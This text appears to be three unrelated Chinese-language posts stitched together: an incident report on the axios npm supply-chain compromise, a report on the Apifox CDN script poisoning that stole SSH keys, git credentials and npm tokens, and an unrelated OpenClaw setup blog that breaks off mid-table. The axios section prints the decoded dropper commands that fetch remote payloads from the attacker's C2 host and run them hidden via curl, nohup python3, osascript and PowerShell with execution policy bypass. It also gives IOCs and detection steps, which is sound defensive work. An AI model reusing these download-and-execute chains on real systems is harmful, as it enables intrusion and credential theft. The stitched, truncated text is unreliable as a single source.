字数 3099，阅读大约需 16 分钟

Axios 供应链投毒安全事件预警与排查报告

一、事件概述

2026 年 3 月 31 日，安全研究机构 StepSecurity 发现 JavaScript 生态中最广泛使用的 HTTP 客户端库 axios 遭遇供应链攻击。攻击者劫持了 axios 首席维护者 jasonsaayman 的 npm 账号，成功向 npm 注册表发布了两个恶意版本。攻击者在 axios 源码中未注入任何恶意代码，而是通过注入一个幽灵依赖 plain-crypto-js@4.2.1，利用其 postinstall 脚本在安装时静默投放跨平台 RAT（远程访问木马）。

如果已安装 axios@1.14.1 或 axios@0.30.4，请假设系统已被控制。

二、攻击时间线

整个攻击预置时间跨度约 18 小时，展现了高度成熟的运营能力：

时间（北京时间）	事件	详情
2026-03-30 13:57	plain-crypto-js@4.2.0  发布	由攻击者账号 nrwise@proton.me 发布。这是一个干净的伪装包，包含合法 crypto-js 源码的完整副本，无 postinstall 钩子。唯一目的是建立 npm 发布历史，使后续恶意版本在审查时不至于被标记为"零历史新包"。
2026-03-31 07:59	plain-crypto-js@4.2.1  发布	同一攻击者账号发布恶意载荷版本。postinstall: "node setup.js" 钩子和混淆投放器被引入。同时预置了 package.md（干净伪装的 package.json 存根），为后续自清理做准备。
2026-03-31 08:21	axios@1.14.1  发布	被劫持的 jasonsaayman 账号（邮箱已被改为 ifstap@proton.me）手动通过 npm CLI 发布。注入 plain-crypto-js@^4.2.1 为运行时依赖，目标为 1.x 现代用户群。
2026-03-31 09:00	axios@0.30.4  发布	同一被劫持账号发布。两个版本分支在 39 分钟内被同时投毒，最大化覆盖面。
2026-03-31 ~09:30	StepSecurity 检测到异常	StepSecurity AI Package Analyst 和 Harden-Runner 在运行时验证中捕获到 C2 通信，确认为恶意包。
2026-03-31 ~10:00+	社区响应	安全研究员 @feross 等人在社交媒体发出公开预警。npm 官方开始处理。

所有合法的 axios 1.x 版本均通过 GitHub Actions + npm OIDC Trusted Publisher 机制发布，发布行为与特定 GitHub Actions 工作流密码学绑定。axios@1.14.1 完全打破了这一模式——通过窃取的长期经典 npm Access Token 手动发布，没有 OIDC 绑定，GitHub 仓库中也不存在对应的 commit 或 tag。该版本仅存在于 npm 注册表中。

三、攻击链路详细技术分析

3.1 整体攻击链

3.2 幽灵依赖注入

axios 源码中 plain-crypto-js从未被 import 或 require()。对比依赖差异：

版本	依赖列表	状态
axios@1.14.0	follow-redirects, form-data, proxy-from-env	安全
axios@1.14.1	follow-redirects, form-data, proxy-from-env, plain-crypto-js@^4.2.1	恶意
axios@0.30.3	follow-redirects, form-data, proxy-from-env	安全
axios@0.30.4	follow-redirects, form-data, proxy-from-env, plain-crypto-js@^4.2.1	恶意

仅新增了一个从未被使用的依赖。

3.3 投放器 setup.js 混淆技术

setup.js 是一个单文件混淆投放器，采用 双层混淆方案：

字符串编码数组 stq[] — 所有敏感字符串（模块名、OS 标识符、Shell 命令、C2 URL、文件路径）均以编码值存储。

解密函数：

• • _trans_1(x, r) — XOR 密码。密钥 "OrDeR_7077" 通过 JavaScript Number() 解析：字母产生 NaN（位运算中变为 0），仅第 6-9 位的数字 7,0,7,7 保留，有效密钥为 [0,0,0,0,0,0,7,0,7,7]。每个字符按位置 r 解码为：

  charCode XOR key[(7 × r × r) % 10] XOR 333

• • _trans_2(x, r) — 外层：反转编码字符串 → 将 _ 替换为 = → Base64 解码（以 UTF-8 恢复 Unicode 码点）→ 传入 _trans_1 二次解密。

入口点：_entry("6202033")，其中 6202033 是 C2 URL 路径段。

完全解码后的关键字符串：

stq[0]  → "child_process"// Shell 执行
stq[1]  → "os"// 平台检测
stq[2]  → "fs"// 文件系统操作
stq[3]  → "http://sfrclak.com:8000/"// C2 基础 URL
stq[5]  → "win32"// Windows 平台标识
stq[6]  → "darwin"// macOS 平台标识
stq[12] → "curl -o /tmp/ld.py -d packages.npm.org/product2 -s SCR_LINK && nohup python3 /tmp/ld.py SCR_LINK > /dev/null 2>&1 &"
stq[13] → "package.json"// 执行后删除
stq[14] → "package.md"// 干净存根重命名为 package.json
stq[15] → ".exe"
stq[16] → ".ps1"
stq[17] → ".vbs"

四、平台特定载荷详细分析

4.1 macOS — AppleScript 投放器

触发条件：os.platform() === "darwin"

执行链：

do shell script"curl -o /Library/Caches/com.apple.act.mond \
  -d packages.npm.org/product0 \
  -s http://sfrclak.com:8000/6202033 \
  && chmod 770 /Library/Caches/com.apple.act.mond \
  && /bin/zsh -c \"/Library/Caches/com.apple.act.mond http://sfrclak.com:8000/6202033 &\" \
  &> /dev/null"

执行方式：nohup osascript "<temp_file>" > /dev/null 2>&1 &

C2 POST Body：packages.npm.org/product0

持久化文件：/Library/Caches/com.apple.act.mond

伪装策略：

• • /Library/Caches/ 是系统级缓存目录，在事件响应中极少被检查

• • com.apple.act.mond 模仿 Apple 反向 DNS 守护进程命名惯例

• • 后缀 mond 可能是 "Activity Monitor Daemon" 的缩写，与该目录下的合法 Apple 后台进程混在一起

临时文件： AppleScript 临时文件执行后自动删除

4.2 Windows — VBScript + PowerShell 三阶段投放器

触发条件：os.platform() === "win32"

三阶段执行链：

阶段 1 — 定位并复制 PowerShell：

where powershell → 复制到 %PROGRAMDATA%\wt.exe

将 PowerShell 二进制伪装为 Windows Terminal 可执行文件，提供持久化的解释器副本。

阶段 2 — 生成并执行 VBScript：

Set objShell = CreateObject("WScript.Shell")
objShell.Run "cmd.exe /c curl -s -X POST " & _
"-d ""packages.npm.org/product1"" " & _
"""http://sfrclak.com:8000/6202033"" > ""%TEMP%\6202033.ps1"" " & _
"& powershell -w hidden -ep bypass -file ""%TEMP%\6202033.ps1"" " & _
"""http://sfrclak.com:8000/6202033"" & del ""%TEMP%\6202033.ps1"" /f", 0, False

执行方式：cscript //nologo %TEMP%\6202033.vbs

• • 0, False — 完全隐藏 cmd.exe 窗口，无任何 UI 输出

阶段 3 — PowerShell RAT 执行：

powershell -WindowStyle Hidden -ExecutionPolicy Bypass -file %TEMP%\6202033.ps1 http://sfrclak.com:8000/6202033

C2 POST Body：packages.npm.org/product1

文件系统产物：

文件	用途	生命周期
%PROGRAMDATA%\wt.exe	持久化的 PowerShell 解释器副本	持久  — 唯一残留
%TEMP%\6202033.vbs	VBScript 启动器	自删除  — 执行后自动删除
%TEMP%\6202033.ps1	PowerShell RAT 脚本	自删除  — 执行后自动删除

文件名 6202033 直接使用 C2 路径段（Campaign ID），是攻击者行动标识。

4.3 Linux — Python 直接投放器

触发条件： 所有其他平台（Linux 等）

执行链：

curl -o /tmp/ld.py \
  -d packages.npm.org/product2 \
  -s http://sfrclak.com:8000/6202033 \
&& nohup python3 /tmp/ld.py http://sfrclak.com:8000/6202033 > /dev/null 2>&1 &

执行方式： Node.js execSync() 直接执行 Shell 命令

C2 POST Body：packages.npm.org/product2

持久化文件：/tmp/ld.py — 保留在磁盘上（使用 nohup 后台运行）

4.4 C2 通信设计

三个平台发送不同的 POST Body 到同一 C2 端点：

平台	POST Body	返回载荷
macOS	packages.npm.org/product0	macOS RAT 二进制
Windows	packages.npm.org/product1	PowerShell RAT 脚本
Linux	packages.npm.org/product2	Python RAT 脚本

packages.npm.org/ 前缀是刻意伪装——使出站流量在网络日志和 SIEM 规则中一眼看去像正常的 npm 注册表通信。

五、自清理机制 — 证据销毁

载荷投放完成后，setup.js 执行三步法医清理：

步骤 1: fs.unlink(__filename)           → 删除 setup.js 自身
步骤 2: fs.unlink("package.json")        → 删除含 postinstall 钩子的清单
步骤 3: fs.rename("package.md", "package.json") → 干净存根替换

效果： 事后检查 node_modules/plain-crypto-js/package.json 将显示完全干净的清单（版本 4.2.0，无 postinstall，无 setup.js 引用）。运行 npm audit 或手动审查已安装包目录不会发现任何异常。

关键排查线索： 即使清理完成后，node_modules/plain-crypto-js/ 目录的存在本身就是被入侵的证据——该包不是任何合法 axios 版本的依赖。如果发现此目录，说明投放器已经执行。

六、IOC — 完整威胁指标清单

7.1 恶意 npm 包

包名	版本	SHA1
axios	1.14.1	2553649f2322049666871cea80a5d0d6adc700ca
axios	0.30.4	d6f3f62fd3b9f5432f5782b62d8cfd5247d5ee71
plain-crypto-js	4.2.1	07d889e2dadce6f3910dcbc253317d28ca61c766
plain-crypto-js	4.2.0	（干净伪装包，用于建立发布历史）

7.2 安全版本参考

包名	安全版本	SHA1
axios	1.14.0	7c29f4cf2ea91ef05018d5aa5399bf23ed3120eb
axios	0.30.3	ab1be887a2d37dd9ebc219657704180faf2c4920

7.3 网络指标

类型	值
C2 域名	sfrclak.com
C2 IP	142.11.206.73
C2 URL	http://sfrclak.com:8000/6202033

7.4 文件系统指标

平台	路径	类型	说明
macOS	/Library/Caches/com.apple.act.mond	持久	macOS RAT 二进制，伪装为 Apple 系统缓存守护进程
Windows	%PROGRAMDATA%\wt.exe	持久	PowerShell 解释器副本，伪装为 Windows Terminal
Windows	%TEMP%\6202033.vbs	临时（自删除）	VBScript 启动器，执行后自动删除
Windows	%TEMP%\6202033.ps1	临时（自删除）	PowerShell RAT 脚本，执行后自动删除
Linux	/tmp/ld.py	持久	Python RAT 脚本，nohup 后台运行后保留在磁盘
全平台	node_modules/plain-crypto-js/setup.js	已删除	投放器主体，自清理删除
全平台	node_modules/plain-crypto-js/package.md	残留	原为干净存根，已被重命名为 package.json

7.5 攻击者控制账号

账号	类型	邮箱
jasonsaayman	被劫持的合法 axios 维护者账号	邮箱被改为 ifstap@proton.me
nrwise	攻击者创建的一次性账号	nrwise@proton.me

八、排查指南

8.1 依赖检查

# 检查 axios 版本
npm list axios 2>/dev/null | grep -E "1\.14\.1|0\.30\.4"
grep -A1 '"axios"' package-lock.json | grep -E "1\.14\.1|0\.30\.4"
# 检查 yarn.lock
grep 'axios@1.14.1\|axios@0.30.4' yarn.lock
# 检查 pnpm-lock.yaml
grep 'axios@1.14.1\|axios@0.30.4' pnpm-lock.yaml
# 关键检查：plain-crypto-js 目录是否存在（即使 package.json 已被替换）
ls node_modules/plain-crypto-js 2>/dev/null && echo"POTENTIALLY AFFECTED"

8.2 系统层面排查

macOS

# 检查 RAT 二进制
ls -la /Library/Caches/com.apple.act.mond 2>/dev/null && echo"COMPROMISED"
# 检查异常进程
ps aux | grep -i "com.apple.act.mond"
# 检查文件哈希
shasum /Library/Caches/com.apple.act.mond 2>/dev/null

Linux

# 检查 RAT 脚本
ls -la /tmp/ld.py 2>/dev/null && echo"COMPROMISED"
# 检查异常进程
ps aux | grep -i "ld.py"
# 检查文件内容
head -20 /tmp/ld.py 2>/dev/null

Windows

# 检查持久化文件
Test-Path"$env:PROGRAMDATA\wt.exe"
Get-Item"$env:PROGRAMDATA\wt.exe"-ErrorAction SilentlyContinue
# 检查文件哈希
Get-FileHash"$env:PROGRAMDATA\wt.exe"-Algorithm SHA256
# 检查异常进程
Get-Process | Where-Object { $_.Path -eq"$env:PROGRAMDATA\wt.exe" }
# 注意：临时文件 6202033.vbs 和 6202033.ps1 已自删除
# 但可通过事件日志和 Prefetch 追溯
Get-WinEvent-FilterHashtable@{LogName='Microsoft-Windows-PowerShell/Operational'; Id=4104} |
Where-Object { $_.Message -match'6202033' }
# 检查 PowerShell Script Block 日志
Get-WinEvent-LogName"Microsoft-Windows-PowerShell/Operational"-MaxEvents1000 |
Where-Object { $_.Message -like"*sfrclak*"-or$_.Message -like"*6202033*" }

8.3 网络层排查

# DNS 查询历史
grep "sfrclak" /var/log/dns.log 2>/dev/null
grep "sfrclak" /var/log/syslog 2>/dev/null
# 出站连接
netstat -antp | grep "142.11.206.73"
netstat -antp | grep "8000"
ss -antp | grep "sfrclak"
# 防火墙日志
grep "sfrclak\|142.11.206.73" /var/log/firewall.log 2>/dev/null
# HTTP 代理日志
grep "packages.npm.org/product" /var/log/squid/access.log 2>/dev/null

8.4 CI/CD 管道排查

# GitHub Actions 日志
grep -r "axios.*1.14.1\|axios.*0.30.4" .github/
grep -r "sfrclak\|142.11.206.73" .github/
# 检查 Docker 镜像
docker history <image> | grep axios
docker run --rm <image> sh -c "npm ls axios 2>/dev/null; ls node_modules/plain-crypto-js 2>/dev/null"
# 检查制品仓库缓存（Artifactory/Nexus）
# 需通过各平台 API 查询是否存在 axios@1.14.1 或 axios@0.30.4 的缓存
# 检查 CI/CD 中是否有 npm install 执行记录拉取了受影响版本
# 任何安装了受影响版本的 Pipeline 均应视为已被入侵

九、应急处置措施

9.1 立即行动

# 1. 回退 axios 并锁定版本
npm install axios@1.14.0   # 1.x 用户
npm install axios@0.30.3   # 0.x 用户
# 2. 添加 overrides 防止传递依赖解析回恶意版本
# package.json:
{
"dependencies": { "axios": "1.14.0" },
"overrides":    { "axios": "1.14.0" },
"resolutions":  { "axios": "1.14.0" }
}
# 3. 移除恶意依赖并重新安装
rm -rf node_modules/plain-crypto-js
npm cache clean --force
rm -rf node_modules package-lock.json
npm install --ignore-scripts
# 4. 阻断 C2 通信
iptables -A OUTPUT -d 142.11.206.73 -j DROP
echo"0.0.0.0 sfrclak.com" >> /etc/hosts

9.2 凭据轮换

如果确认安装了恶意版本，必须假设系统已被完全控制：

• • 轮换所有 npm Access Token

• • 轮换 GitHub Personal Access Token (PAT)

• • 轮换 AWS Access Key / Secret Key

• • 轮换 GCP Service Account Key

• • 轮换 Azure 凭据

• • 轮换所有数据库连接字符串

• • 轮换 SSH 私钥

• • 轮换 CI/CD Secrets（GitHub Actions Secrets、GitLab CI Variables 等）

• • 审计 .env 文件中所有可能被读取的密钥

• • 重置 npm 账号密码，启用硬件 2FA

• • 审计 GitHub 仓库 Webhook、Apps 和 OAuth 授权

9.3 系统重置（如已确认感染）

• • 隔离受感染主机 — 立即断网

• • 全盘取证 — 断网状态下导出内存镜像和磁盘镜像

• • 不要尝试原地清理 — 重建已知安全状态

• • 重新部署 — 使用已验证安全的制品重新部署

九、攻击特征总结

此次攻击是有记录以来对 Top-10 npm 包最成熟的供应链攻击之一：

1. 1. 预置 18 小时 — 恶意依赖提前发布以避免"新包"告警

2. 2. 三平台预构建载荷 — macOS/Windows/Linux 各自独立的第二阶段载荷

3. 3. 39 分钟双分支投毒 — 1.x 和 0.x 同时命中

4. 4. 每条痕迹均设计为自毁 — setup.js 删除自身、替换 package.json

5. 5. 进程树逃逸 — 使用 nohup 脱离父进程，规避进程归因

6. 6. C2 伪装为 npm 流量 — POST Body 使用 packages.npm.org/ 前缀

7. 7. 零源码修改 — axios 源码中无一行恶意代码，仅通过幽灵依赖触发

十、参考来源

• • StepSecurity — axios Compromised on npm: Full Technical Analysis https://www.stepsecurity.io/blog/axios-compromised-on-npm-malicious-versions-drop-remote-access-trojan

字数 2830，阅读大约需 15 分钟

Apifox 供应链投毒安全事件预警与排查

一、事件概述

1.1 Apifox 产品简介

Apifox 是一款国产 API 一体化协作平台，集 API 文档、API 调试、API Mock、API 自动化测试于一体。该工具在国内开发社区拥有广泛的用户基础，被大量开发团队用于接口管理、前后端联调、自动化测试等场景。

项目	说明
产品定位	API 一体化协作平台
核心功能	API 文档、API 调试、Mock 服务、自动化测试
技术架构	桌面端基于 Electron 框架开发
支持平台	Windows、macOS、Linux
部署方式	公网 SaaS 版、私有化部署版
用户群体	国内大量开发团队、前后端工程师、测试工程师

由于 Apifox 在国内开发者群体中具有较高的普及度，此次供应链投毒事件的潜在影响范围较大，涉及大量开发者的核心敏感凭证。 |

1.2 事件基本信息

项目	详情
受影响产品	Apifox 公网 SaaS 版桌面客户端（Windows/macOS/Linux）
攻击时间窗口	2026年3月4日 - 2026年3月22日（持续 18天）
攻击类型	供应链投毒 / CDN 脚本篡改
攻击载体	官方 CDN 托管的前端脚本文件被注入恶意 JavaScript 代码
恶意域名	apifox.it.com （托管于 Cloudflare）

1.3 事件描述

在 2026年3月4日至3月22日期间，Apifox 公网 SaaS 版桌面客户端动态加载的一个外部 JavaScript 文件（事件统计/追踪脚本）被恶意攻击者篡改。

正常情况下，Apifox 启动时会加载：

https://cdn.apifox.com/www/assets/js/apifox-app-event-tracking.min.js

该文件正常大小为 34KB，但在投毒期间可能请求到被篡改版本（77KB，追加了约 42KB 的恶意代码）。

二、攻击技术简析

2.1 攻击链

2.2 技术特征

技术点	说明
框架利用	利用 Electron 框架未启用 sandbox 参数的缺陷，通过 Node.js API 执行系统命令
混淆层级	7层混淆：字符串数组旋转 + Base64/RC4 双层解密 + 代理函数 + 控制流扁平化 + 死代码注入 + 反调试陷阱
加密通信	内嵌 RSA-2048 私钥，使用 OAEP 填充加密敏感数据
持久化	setTimeout  在 30分钟 ~ 3小时 随机间隔重新执行
C2 特征	域名 apifox.it.com 使用 Cloudflare CDN 隐藏真实 IP

2.3 被窃取的敏感信息

数据类型	路径/内容	风险等级
SSH 私钥	~/.ssh/id_rsa , ~/.ssh/id_ed25519 等	🔴 极高
Git 凭证	~/.git-credentials	🔴 极高
Shell 历史记录	~/.bash_history , ~/.zsh_history	🟠 高
npm Token	~/.npmrc	🟠 高
进程列表	系统进程信息	🟡 中
Apifox 账户	邮箱、姓名、访问令牌	🟡 中
机器指纹	MAC地址 + CPU型号 + 主机名 + 用户主目录 SHA-256	🟡 中

三、恶意域名分析

3.1 域名欺骗性分析

攻击者使用的 C2 域名 apifox.it.com 具有高度欺骗性：

• • .it.com 是商业性质的二级域名服务，非意大利国别域名 .it

• • 无公开 WHOIS 信息，注册门槛极低

• • 视觉上容易被误认为：

• • Apifox 内部测试/研发域名

• • Apifox 意大利区域服务域名

• • Apifox 官方子产品域名

3.2 DNS 解析历史

IP 地址	所属组织	首次发现	最后发现
104.21.2.104	Cloudflare, Inc.	2026-03-04	2026-03-22
172.67.129.21	Cloudflare, Inc.	2026-03-04	2026-03-22

当前状态：DNS 记录已于 2026-03-22 下线，域名不再解析。

四、影响范围评估

4.1 受影响条件

同时满足以下条件的用户可能受影响：

1. 1. ✅ 使用 Apifox 公网 SaaS 版桌面客户端（非网页版）

2. 2. ✅ 在 2026年3月4日 - 3月22日 期间启动过 Apifox

3. 3. ✅ 客户端版本 低于 2.8.19

4. 4. ✅ 网络可访问 apifox.it.com（当时 DNS 生效）

4.2 不受影响的情况

• • ❌ 仅使用 Apifox 网页版

• • ❌ 使用 私有化部署版本

• • ❌ 在攻击时间窗口外使用

• • ❌ 已升级至 2.8.19 及以上版本

五、排查指南

5.0 快速判断标准

检测方法	判断标准	结果
LevelDB 存储键	存在 rl_mc 或 rl_headers 键	🔴 已中招
网络状态文件	包含 apifox.it.com 域名	🔴 已中招
SSH 密钥访问时间	攻击窗口期内有异常访问	🟠 高度可疑

5.1 方法一：检查 LevelDB 存储键（推荐）

恶意代码会将机器指纹存储在 localStorage._rl_mc，攻击载荷相关数据存储在 localStorage._rl_headers，这些数据保存在 LevelDB 数据库中。这是最直接的判断依据。

关键文件路径

平台	LevelDB 路径
Windows	C:\Users\<用户名>\AppData\Roaming\Apifox\Local Storage\leveldb
macOS	~/Library/Application Support/Apifox/Local Storage/leveldb
Linux	~/.config/apifox/Local Storage/leveldb

Windows 检测命令

# PowerShell - 检查 leveldb 中是否存在恶意键
Select-String-Path"$env:APPDATA\Apifox\Local Storage\leveldb\*"-Pattern"rl_mc","rl_headers"-List | Select-Object Path

# CMD 备用命令
findstr /S /I "rl_mc" "%APPDATA%\Apifox\Local Storage\leveldb\*.*"

结果判断：

• • 有输出文件路径 → 🔴 已中招

• • 无输出 → ✅ 安全

macOS 检测命令

# 检查 leveldb 中是否存在恶意键
grep -arlE "rl_mc|rl_headers" ~/Library/Application\ Support/Apifox/Local\ Storage/leveldb/

结果判断：

• • 输出文件路径 → 🔴 已中招

• • 无输出 → ✅ 安全

Linux 检测命令

# 检查 leveldb 中是否存在恶意键
grep -arlE "rl_mc|rl_headers" ~/.config/apifox/Local\ Storage/leveldb/

结果判断：

• • 输出文件路径 → 🔴 已中招

• • 无输出 → ✅ 安全

5.2 方法二：检查网络持久化状态文件

Chromium/Electron 应用会记录访问过的服务器属性到 Network Persistent State 文件。如果该文件包含恶意域名，说明曾连接过 C2 服务器。

关键文件路径

平台	Network Persistent State 路径
Windows	C:\Users\<用户名>\AppData\Roaming\apifox\Network\Network Persistent State
macOS	~/Library/Application Support/apifox/Network/Network Persistent State
Linux	~/.config/apifox/Network/Network Persistent State

Windows 检测命令

# 检查 Network Persistent State 文件中是否包含恶意域名
Get-Content"$env:APPDATA\apifox\Network\Network Persistent State" | Select-String'apifox.it.com'

结果判断：

• • 有输出内容 → 🔴 已中招

• • 无输出 → ✅ 安全

macOS 检测命令

# 检查 Network Persistent State 文件中是否包含恶意域名
grep -a "apifox.it.com" ~/Library/Application\ Support/apifox/Network/Network\ Persistent\ State

结果判断：

• • 有输出内容 → 🔴 已中招

• • 无输出 → ✅ 安全

Linux 检测命令

# 检查 Network Persistent State 文件中是否包含恶意域名
grep -a "apifox.it.com" ~/.config/apifox/Network/Network\ Persistent\ State

结果判断：

• • 有输出内容 → 🔴 已中招

• • 无输出 → ✅ 安全

5.3 方法三：检查 SSH 密钥访问时间（辅助判断）

恶意代码必须读取私钥文件才能窃取，可通过最后访问时间进行辅助判断。

Windows

# 查看私钥文件访问时间
Get-ChildItem-Path"$env:USERPROFILE\.ssh" | Select-Object Name, LastAccessTime
# 检查 .git-credentials
Get-Item-Path"$env:USERPROFILE\.git-credentials"-ErrorAction SilentlyContinue | Select-Object FullName, LastAccessTime

macOS / Linux

# 查看私钥文件最后访问时间
ls -lu ~/.ssh

判断标准：

• • 关注 id_rsa、id_ed25519 等私钥文件（无 .pub 后缀）

• • 如果在 2026-03-04 至 2026-03-22 期间有非主动操作的访问记录，需高度警惕

5.4 方法四：检查系统日志（辅助判断）

macOS

# 查询包含恶意域名的系统日志
log show --predicate 'eventMessage contains "apifox.it.com"' --last 30d --info --debug
# 查询 DNS 解析记录
sudolog show --predicate 'eventMessage contains "apifox.it.com" or eventMessage contains "104.21.2.104" or eventMessage contains "172.67.129.21"' --last 30d

Windows

# 查看 DNS 缓存（需管理员权限）
ipconfig /displaydns | findstr "apifox.it.com"

Linux

# 检查历史命令中的可疑记录
grep -E "apifox.it.com|curl|wget" ~/.bash_history ~/.zsh_history 2>/dev/null
# 检查网络连接历史（需要 root）
sudo journalctl -u NetworkManager --since "2026-03-04" --until"2026-03-23" | grep -i apifox

5.5 清理缓存（建议）

建议清理 Apifox 缓存和残留文件。

Windows

# 删除 Apifox 缓存目录
Remove-Item-Path"$env:APPDATA\Apifox"-Recurse-Force-ErrorAction SilentlyContinue
Remove-Item-Path"$env:LOCALAPPDATA\Apifox"-Recurse-Force-ErrorAction SilentlyContinue
Remove-Item-Path"$env:LOCALAPPDATA\com.apifox.app"-Recurse-Force-ErrorAction SilentlyContinue

macOS

# 彻底删除 Apifox 缓存和残留文件
rm -rf ~/Library/Application\ Support/Apifox
rm -rf ~/Library/Caches/com.apifox.app
rm -rf ~/Library/Saved\ Application\ State/com.apifox.app.savedState

Linux

# 清理缓存
rm -rf ~/.config/Apifox
rm -rf ~/.cache/Apifox

5.6 网络层检测（企业环境）

在企业网络环境中，可查询防火墙/代理日志：

# 检索恶意域名访问记录
domain: apifox.it.com
# 检索恶意 IP 连接
dst_ip: 104.21.2.104 OR 172.67.129.21

5.7 排查结果判定汇总

检测结果	状态	建议操作
LevelDB 检测到 rl_mc / rl_headers	🔴 已中招	立即执行应急处置
Network Persistent State 包含 apifox.it.com	🔴 已中招	立即执行应急处置
SSH 密钥有异常访问时间	🟠 高度可疑	建议按已中招处理
所有检测均无异常	✅ 安全	升级到最新版本，清理缓存

六、处置建议

6.1 立即措施（优先级：🔴 紧急）

序号	措施	说明
1	升级 Apifox	升级至 2.8.19 或更高版本
2	轮换 SSH 密钥	删除旧密钥，生成新密钥并重新部署
3	轮换 Git 凭证	撤销旧的 Personal Access Token，生成新 Token
4	轮换 npm Token	撤销并重新生成 npm access token

6.2 短期措施（优先级：🟠 高）

序号	措施	说明
1	检查代码仓库	审计近期提交是否为本人操作
2	检查服务器访问	审计服务器登录日志，排查异常访问
3	修改 Apifox 密码	更改账户密码，启用双因素认证
4	清理本地缓存	执行 5.1-5.3 中的清理命令

6.3 长期措施（优先级：🟡 中）

序号	措施	说明
1	部署网络监控	使用 LuLu/Little Snitch 等工具监控应用网络行为
2	建立密钥轮换机制	定期更换 SSH 密钥、API Token 等敏感凭证
3	加强供应链安全意识	对动态加载外部脚本保持警惕
4	实施最小权限原则	限制开发工具的网络访问权限

七、企业级响应建议

7.1 安全团队行动项

7.2 IOC 指标

类型	值
恶意域名	apifox.it.com
恶意 IP	104.21.2.104
恶意 IP	172.67.129.21
恶意 URL	https://apifox.it.com/public/apifox-event.js
恶意 URL	https://apifox.it.com/event/0/log
被投毒文件	apifox-app-event-tracking.min.js （77KB 版本）
本地存储键	localStorage._rl_mc （存储机器指纹）、localStorage._rl_headers（攻击载荷相关）

八、官方修复说明

8.1 修复版本

• • 安全版本：Apifox 桌面客户端 2.8.19 及以上

8.2 修复措施

1. 1. 将相关埋点/统计脚本改为安装包内资源，不再从 CDN 动态拉取

2. 2. 加强了 Electron 框架的安全配置

8.3 官方公告

• • Apifox 官方公告 https://docs.apifox.com/8392582m0

九、总结

本次 Apifox 供应链投毒事件是一起典型的软件供应链攻击，攻击者利用 CDN 动态加载机制的缺陷，成功将恶意代码注入到广泛的开发者群体中。

核心教训：

1. 1. 动态加载外部脚本存在重大安全隐患

2. 2. Electron 应用需严格启用沙箱机制

3. 3. 开发者需定期轮换敏感凭证（SSH 密钥、Token 等）

4. 4. 供应链安全是现代软件开发不可忽视的一环

参考资料

1. 1. Apifox 供应链投毒攻击 - 完整技术分析 https://rce.moe/2026/03/25/apifox-supply-chain-attack-analysis/

2. 2. Apifox 官方公告 https://docs.apifox.com/8392582m0

3. 3. Apifox CDN 供应链投毒事件简单复盘 - 离别歌 https://www.leavesongs.com/PENETRATION/apifox-supply-chain-attack-analysis.html

本报告基于公开信息整理，仅供参考。

前言

跟风折腾了一阵 OpenClaw，把过程中遇到的问题和解决办法整理成了这篇记录。环境是 Mac Mini (Apple Silicon)，后端接了 千问、智谱、Anthropic、OpenAI 等主流模型，通过飞书 Bot 和 Web 控制台两个渠道对外服务。安装过程 OpenClaw 作者已经提供了一键脚本，这里不赘述，主要聊聊配置过程中那些文档里没写、搜也搜不到的坑。

基础环境

项目	内容
设备	Mac Mini (Apple Silicon)
OpenClaw 版本	2026.1.30 (76b5208)
安装路径	/opt/homebrew/lib/node_modules/openclaw/
配置目录	~/.openclaw/
日志文件	~/.openclaw/logs/gateway.log
Gateway 端口	18789
集成渠道	飞书（WebSocket）、Webchat
搜索引擎	Brave Search API

OpenClaw 通过 npm 全局安装，配置和插件统一放在 ~/.openclaw/ 下。Gateway 进程用 macOS 原生的 LaunchAgent 做守护，OpenClaw daemon install 会自动在 ~/Library/LaunchAgents/ 下生成 plist。

插件

OpenClaw 内置了多个插件，按需开启就好：

插件	用途
Feishu	第三方，本土环境 IM 渠道，网上教程很详细
Memory (Core)	基于文件的记忆系统，支持跨会话记忆搜索和自动捕获
Qwen OAuth	通义千问国际版（qwen-portal）的 OAuth 认证流程
Notion (Skill)	读写 Notion 工作区，拿到 Integration Token 配进去即可

内置 Hooks

OpenClaw 有一套 Hook 机制，可以在特定生命周期节点注入逻辑。建议三个都启用：

• • boot-md：启动时加载 SOUL.md 等工作区文件作为系统上下文

• • command-logger：记录所有指令执行日志

• • session-memory：会话级记忆，配合 Memory Core 插件实现跨会话信息持久化

还有一个 send-changelog 没在向导中出现——这东西会在版本更新后自动给用户发更新日志，对内部使用场景来说是噪音。

局域网访问

Mac Mini 跑 Gateway，日常在 Windows 上用浏览器访问 webchat 控制台。听起来很简单，实际踩了两个坑。

坑一：bind 配置的迷惑行为

Gateway 默认只听 127.0.0.1。配置里有个 gateway.bind 字段，文档暗示可以设成 "lan" 让局域网设备访问。实际试下来，设了 "lan" 配置文件倒是存进去了，但 Gateway 行为没有变化——依然只监听 localhost。"all" 也一样。试了一下直接填 "0.0.0.0" 倒是能开全通策略，但是新的问题又出现了。

坑二：裸 HTTP 访问 webchat 白屏

用 http://192.168.x.x:18789 访问 webchat 也不行，能看到页面侧边栏框架，但是白屏+红字报错穿插着来，webchat 前端用到了需要 Secure Context 的浏览器 API（crypto.subtle、Service Worker 等），而浏览器的 Secure Context 策略只认两种来源：HTTPS 和 localhost。裸 IP + HTTP 不在白名单里，前端直接起不来。

自签证书配起来麻烦，而且每台客户端都要信任，不值得。

最终方案：SSH 端口转发

SSH 隧道一箭双雕：既解决了跨机器访问，又让浏览器看到的是 localhost，天然满足 Secure Context。

1
2
# Windows 端执行
ssh -f -N -L 18789:127.0.0.1:18789 user@192.168.x.x

-f 放后台，-N 不开 shell，纯转发。之后浏览器访问 http://localhost:18789 就行。

原理是 SSH 在 Windows 本地监听 18789 端口，所有流量通过加密隧道转发到 Mac 的 127.0.0.1:18789。对浏览器来说请求目标就是 localhost，Secure Context 校验通过。

免密 + 一键启动

每次输密码太烦，配个 Ed25519 密钥对：

1
2
ssh-keygen -t ed25519
type %USERPROFILE%\.ssh\id_ed25519.pub | ssh user@192.168.x.x "cat >> ~/.ssh/authorized_keys"

然后做个 bat 扔桌面：

1
2
3
@echo off
ssh -f -N -L 18789:127.0.0.1:18789 user@192.168.x.x
start http://localhost:18789

实际使用中有个小问题：如果上次的 SSH 隧道没断干净，端口被占用会报错。可以在脚本开头加一行 taskkill /F /IM ssh.exe 2>nul 暴力清理，或者用 ssh -O check 检测已有连接再决定是否新建。

模型配置与 Fallback 链

五个 Provider 的分工

配置里实际接入了五个 Provider。其中 DashScope 和 Qwen 虽然背后都是通义千问，但面向国内和国际是两套完全不同的端点和认证体系，不能混用：

Provider	端点	认证方式	模型	说明
dashscope	coding.dashscope.aliyuncs.com/v1/	API Key (sk-sp-)	qwen3-max, qwen3-coder-plus	国内 Coding Plan 套餐专用端点
